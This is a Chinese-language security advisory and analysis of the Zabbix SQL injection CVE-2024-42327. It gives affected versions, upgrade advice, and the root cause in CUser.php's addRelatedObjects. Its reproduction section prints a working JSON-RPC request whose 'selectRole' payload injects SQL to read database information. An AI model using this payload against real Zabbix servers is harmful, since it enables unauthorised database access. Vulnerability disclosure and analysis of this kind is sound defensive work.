Zabbix SQL 注入漏洞(CVE-2024-42327)

Zabbix SQL 注入漏洞(CVE-2024-42327)

原创 xaitx 天启实验室 2024-12-09 12:52

点击蓝字 关注我们

漏洞介绍

Zabbix前端上具有默认用户角色或任何其他赋予API访问权限的角色的非管理员用户帐户都可以利用此漏洞。addRelatedObjects函数的Cuser类中存在SQLi,该函数是从Cuser.get函数调用的,该函数适用于每个具有API访问权限的用户。

影响范围

6.0.0 – 6.0.31

6.4.0 – 6.4.16

7.0.0

修复建议

升级到安全版本:6.0.32rc1,6.4.17rc1,7.0.1rc1

漏洞复现

登录后使用以下payload:

POST /api_jsonrpc.php HTTP/1.1

Host: z.test.xaitx.com

Content-Type: application/json-rpc

Cookie: zbx_session=eyJzZXNzaW9uaWQiOiJiODVhYjcwNjZlN2M3YmU0YmYzNmEwMGEwN2ZjMzBiYiIsInNlcnZlckNoZWNrUmVzdWx0IjpmYWxzZSwic2VydmVyQ2hlY2tUaW1lIjoxNzMzNzQ2ODM5LCJzaWduIjoiMGE4N2RlZTkyNWU1Y2JlNTFkZjdkNGYyNzk1Y2ZlMmYxODA4NGEwYWJmODQ0MTk5NGI3MDA0MzRmNzA1MjY3YiJ9

Content-Length: 101

{

“jsonrpc”: “2.0”,

“method”: “user.get”,

“params”: {

“selectRole”: [

“a from (select 1 as userid) as u join (select (select user()) as a) as r #”

]

},

“id”: 2

}

返回数据库对应的信息。

漏洞分析

漏洞关键点在于include\classes\api\services\CUser.php的addRelatedObjects函数中。可以看到SQL语句中将处理后的$options[‘selectRole’]值直接拼接到了SQL语句中。而$options是直接从用户输入接收到的值,其他地方也没有对selectRole进行限制和过滤,只有最后有一个拼接。所以在这里直接导致了SQL注入。

因为该接口前面还有鉴权,所以还需要具有默认用户角色或任何其他赋予API访问权限的角色的非管理员用户帐户都可以利用此漏洞。

参考链接

  1. https://avd.aliyun.com/detail?id=AVD-2024-42327

  2. https://support.zabbix.com/browse/ZBX-25623